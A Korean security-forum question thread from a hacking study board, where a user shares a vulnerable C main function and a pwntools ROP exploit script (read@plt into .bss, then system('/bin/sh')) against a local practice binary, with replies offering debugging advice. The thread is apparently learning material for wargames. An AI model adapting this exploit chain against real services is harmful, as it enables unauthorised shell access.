시스템 해킹

1574,

17/79

tkakr7458

pwntools 를 이용한 익스 질문

http://www.hackerschool.org/HS_Boards/zboard.php?desc=desc&no=1859 [복사]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+Ch] [bp-8Ch]@1
  int v5; // [sp+8Ch] [bp-Ch]@1

  v5 = 0;
  system("echo \"it's very very easy buffer overflow\"");
  read(0, &buf, 0x100u);
  printf("buf: %s\n", &buf);
  return 0;
}

위는 소스 코드입니다.

from pwn import*

elf = ELF("./babyrop")
conn = remote("localhost",9999)

binsh = "/bin/sh\00"
bss = 0x08049f14
read_plt = elf.plt['read']
system_plt = elf.plt['system']
pppr = 0x804853

print "system@plt : " +hex(system_plt)
print "read@plt : " +hex(read_plt)
print "pppr : " +hex(pppr)

payload = "A"*144
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(system_plt)
payload += "AAAA"
payload += p32(bss)

print "expolt start"

conn.send(payload)
conn.send(binsh)

conn.send("id\n")
conn.interactive()

위와 같이 작성했습니다.

[*] '/home/jack2/Desktop/babyrop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9999: Done
system@plt : 0x8048340
read@plt : 0x8048320
pppr : 0x804853
expolt start
[*] Switching to interactive mode
it's very very easy buffer overflow
[*] Got EOF while reading in interactive
$ id
[*] Closed connection to localhost port 9999
[*] Got EOF while sending in interactive

이렇게 성공을 못했는데 왜 이러나요 ㅠㅠ 가젯은 똑바로 찾았습니다.!!

Hit : 7430 Date : 2017/04/16 06:06


해쿨러	buf가 ebp-0x8c에 있으니 0x8c+4 해서 144바이트만큼 맨처음에 A를 넣으셔야 합니다 140개밖에 안넣으셔서 안되는겁니다	2017/04/16
tkakr7458	144 넣었어요..	2017/04/16
해쿨러	아 제가 잘못봤군요 그러면 s.send(payload)와 s.send(binsh) 사이에 time.sleep(0.5)를 넣어보세요 저렇게 짧은 시간차로 주면 버퍼는 큰데 작은 문자열 두개가 오니까 둘다 buf에 들어갈 수 있습니다	2017/04/16
tkakr7458	잘 안되네요 ㅠ	2017/04/16
해쿨러	strace를 써보세요 엄청 좋습니다 remote() 바로 다음에 pause() 한줄 넣으시고 파이썬 실행하시면 멈춰있는데 그 때 서버에서 strace -if -p $(pgrep babyrop) 하시면 어태치 되고 파이썬에서 엔터 한번 치셔서 보시면 됩니다	2017/04/16
parktong80	혹시 babyrop 바이너리 보내주실수 있으신가요? parktong80@naver.com 입니다	2017/05/03

1254

gcc 2.96스택구조의 변화 어떻게 알 수 있나요?[4]

topnons

01/02

3484

1253

사이버수사대질문점[1]

tolta

01/13

3242

1252

또 질문함[1]

tolta

04/19

3021

1251

또 사이버수사대 질문점여 ㅋ....[2]

tolta

01/15

3140

1250

질문좀하겟습니다[4]

tolta

02/25

3414

1249

NC소프트를 상대로 소송 준비중에 있습니다.

TOGEACE

12/09

3393

1248

많은답변바람니다...[4]

tnvlfdl1

03/09

3191

1247

아 미쳐버리네-.-[2]

tlsdbcjs

03/31

3811

1246

웹해킹 싸이트 있나요?[3]

tlsdbcjs

03/09

4561

1245

간단한 질문좀...[1]

tlqaksqhr

12/06

3163

1244

rop 다음에 뭐를 공부하는게 좋을까요?[1]

tloet

08/26

2098

1243

도와주세요~[1]

tkfkwufk

06/18

3279

pwntools 를 이용한 익스 질문[6]

tkakr7458

04/16

7429

1241

format string bug + got overwite[3]

tkakr7458

04/19

2473

1240

쉘코드를 이용해서 bof 를 할때[4]

tkakr7458

05/22

2742

1239

해커스쿨에서 제공하는 BOF 보고 하던도중 질문입니다.

tjzmfls

10/11

2903

1238

질문이있어요!![4]

tjdqlsd234

10/09

3134

1237

저기요 해킹 할때요[3]

tjdkstn

02/07

3501

1236

대학교란 시스템해킹 21강부터 26강 못들어가게해놨네요[6]

tjddnr0306

05/24

3815

1235

환경변수를 이용한 BOF 공격시 의문점 질문입니다.[5]

tjdalstjr938

01/02

2413

[1]..[11][12][13][14][15][16] 17 [18][19][20]..[79]